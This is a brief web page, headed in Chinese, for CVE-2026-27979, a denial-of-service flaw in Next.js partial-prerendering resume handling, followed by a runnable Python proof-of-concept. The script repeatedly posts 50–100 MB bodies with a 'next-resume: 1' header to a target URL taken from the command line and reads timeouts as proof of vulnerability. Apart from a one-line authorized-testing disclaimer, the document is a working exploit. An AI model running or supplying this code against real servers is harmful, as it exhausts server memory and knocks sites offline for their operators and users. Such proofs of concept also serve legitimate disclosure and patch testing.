CVE-2026-27979 Next.js PPR Resume请求体大小限制缺失导致DoS漏洞

#!/usr/bin/env python3 """ CVE-2026-27979 PoC - Next.js PPR Resume Body Buffering DoS This PoC demonstrates sending oversized next-resume POST requests Note: Use only for authorized security testing """ import requests import sys TARGET_URL = "http://target-app.com/api/some-endpoint" def send_malicious_request(url, payload_size_mb=50): """ Send oversized next-resume request to trigger DoS """ headers = { "Content-Type": "application/octet-stream", "next-resume": "1" # Trigger PPR resume functionality } # Generate oversized payload oversized_payload = b"A" * (payload_size_mb * 1024 * 1024) try: print(f"[*] Sending malicious request with {payload_size_mb}MB payload...") print(f"[*] Target: {url}") print(f"[*] Header: next-resume: 1") response = requests.post( url, headers=headers, data=oversized_payload, timeout=30 ) print(f"[*] Response Status: {response.status_code}") return response except requests.exceptions.Timeout: print("[!] Request timeout - potential memory exhaustion") return None except Exception as e: print(f"[!] Error: {e}") return None def check_vulnerability(url): """ Check if target is vulnerable by observing memory behavior """ print("[*] Testing for CVE-2026-27979 vulnerability...") # Send multiple oversized requests for i in range(3): print(f"\n[*] Request {i+1}/3") response = send_malicious_request(url, payload_size_mb=100) if response is None: print("[+] Target appears vulnerable - request failed/timeout") return True return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] check_vulnerability(TARGET_URL)